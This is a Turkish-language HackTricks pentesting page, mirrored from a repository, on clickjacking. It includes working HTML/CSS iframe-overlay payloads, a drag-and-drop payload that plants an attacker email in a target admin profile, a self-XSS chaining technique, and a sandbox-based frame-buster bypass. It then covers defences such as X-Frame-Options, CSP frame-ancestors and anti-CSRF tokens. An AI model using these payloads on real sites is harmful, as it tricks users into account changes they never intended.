Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/clickjacking.md

12 KiB
Raw Blame History

Clickjacking

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Clickjacking Nedir

Clickjacking saldırısında, bir kullanıcı ya görünmez ya da farklı bir öğe olarak kamuflaj yapmış bir web sayfasındaki bir öğeyi tıklamaya kandırılır. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması gibi.

Formları Önceden Doldurma Hilesi

Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak mümkün olabilir. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeyi Gönder'e basmasını sağlamak için clickjacking yükünü gönderebilir.

Formu Sürükle ve Bırak ile Doldurma

Kullanıcının bir formu doldurmasını istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi Sürükle ve Bırak etmesini isteyebilirsiniz, örneğin bu örnekte.

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Çok Adımlı Yük

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Sürükle ve Bırak + Tıkla yükü

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Eğer bir kullanıcının XSS saldırısını tetiklemek için bir öğeye tıklaması gereken bir saldırı tespit ettiyseniz ve sayfa clickjacking'e karşı savunmasız ise, kullanıcıyı düğmeye/tıklanabilir bağlantıya tıklamaya kandırmak için bunu suistimal edebilirsiniz.
Örnek:
Bir hesabın bazı özel detaylarında bir self XSS buldunuz (detaylar yalnızca sizin tarafınızdan ayarlanabilir ve okunabilir). Bu detayları ayarlamak için olan formun bulunduğu sayfa Clickjacking'e karşı savunmasız ve GET parametreleri ile formu önceden doldurabilirsiniz.
__Bir saldırgan, o sayfaya bir Clickjacking saldırısı hazırlayabilir, formu XSS yükü ile önceden doldurarak ve kullanıcıyı formu Göndermeye kandırarak. Böylece, form gönderildiğinde ve değerler değiştirildiğinde, kullanıcı XSS'i çalıştıracaktır.

Clickjacking'i Azaltma Stratejileri

İstemci Tarafı Savunmaları

İstemci tarafında çalıştırılan betikler, Clickjacking'i önlemek için aksiyonlar gerçekleştirebilir:

  • Uygulama penceresinin ana veya üst pencere olmasını sağlamak.
  • Tüm çerçeveleri görünür hale getirmek.
  • Görünmez çerçevelere tıklamayı engellemek.
  • Kullanıcıları potansiyel Clickjacking girişimlerine karşı tespit etmek ve uyarı vermek.

Ancak, bu çerçeve-kırma betikleri atlatılabilir:

  • Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine dayanarak bu betikleri engelleyebilir.
  • HTML5 iframe sandbox Özniteliği: Bir saldırgan, allow-forms veya allow-scripts değerleri ile allow-top-navigation olmadan sandbox özniteliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'ın üst pencere olup olmadığını doğrulamasını engeller, örn.
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Sunucu Tarafı Savunmaları

X-Frame-Options

X-Frame-Options HTTP yanıt başlığı, bir sayfanın <frame> veya <iframe> içinde görüntülenmesinin meşruiyeti hakkında tarayıcılara bilgi verir ve Clickjacking'i önlemeye yardımcı olur:

  • X-Frame-Options: deny - Hiçbir etki alanı içeriği çerçeveliyemez.
  • X-Frame-Options: sameorigin - Yalnızca mevcut site içeriği çerçeveliyebilir.
  • X-Frame-Options: allow-from https://trusted.com - Yalnızca belirtilen 'uri' sayfayı çerçeveliyebilir.
  • Bu yönergeyi desteklemeyen tarayıcılar için sınırlamalara dikkat edilmelidir. Bazı tarayıcılar CSP frame-ancestors yönergesini tercih eder.

İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi

CSP'deki frame-ancestors yönergesi, Clickjacking koruması için tavsiye edilen yöntemdir:

  • frame-ancestors 'none' - X-Frame-Options: deny ile benzerdir.
  • frame-ancestors 'self' - X-Frame-Options: sameorigin ile benzerdir.
  • frame-ancestors trusted.com - X-Frame-Options: allow-from ile benzerdir.

Örneğin, aşağıdaki CSP yalnızca aynı etki alanından çerçevelenmeyi sağlar:

Content-Security-Policy: frame-ancestors 'self';

Daha fazla ayrıntı ve karmaşık örnekler frame-ancestors CSP belgelerinde ve Mozilla'nın CSP frame-ancestors belgelerinde bulunabilir.

İçerik Güvenlik Politikası (CSP) ile child-src ve frame-src

İçerik Güvenlik Politikası (CSP), tarayıcının hangi kaynakların içeriği yüklemesine izin vermesi gerektiğini belirterek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemede yardımcı olan bir güvenlik önlemidir.

frame-src Yönergesi

  • Çerçeveler için geçerli kaynakları tanımlar.
  • default-src yönergesinden daha spesifiktir.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Bu politika, aynı kökten gelen çerçevelere (self) ve https://trusted-website.com'a izin verir.

child-src Yönergesi

  • Web işçileri ve çerçeveler için geçerli kaynakları belirlemek için CSP seviye 2'de tanıtıldı.
  • frame-src ve worker-src için bir yedek olarak işlev görür.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Bu politika, aynı kökten (self) ve https://trusted-website.com'dan çerçevelere ve işçilere izin verir.

Kullanım Notları:

  • Kullanım Dışı: child-src, frame-src ve worker-src lehine aşamalı olarak kaldırılmaktadır.
  • Yedek Davranış: frame-src mevcut değilse, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de mevcut değilse, default-src kullanılır.
  • Katı Kaynak Tanımı: Sömürüyü önlemek için direktiflere yalnızca güvenilir kaynakları ekleyin.

JavaScript Çerçeve-Kırma Komut Dosyaları

Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve-kırma komut dosyaları bir web sayfasının çerçevelenmesini engellemek için kullanılabilir. Örnek:

if (top !== self) {
top.location = self.location;
}

Anti-CSRF Token Kullanımı

  • Token Doğrulama: Web uygulamalarında anti-CSRF token'ları kullanarak, durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından emin olun ve Clickjacking sayfası aracılığıyla yapılmadığından emin olun.

Referanslar


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatikleştirilmiş iş akışları oluşturun ve yönetin.
Bugün Erişim Edinin:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: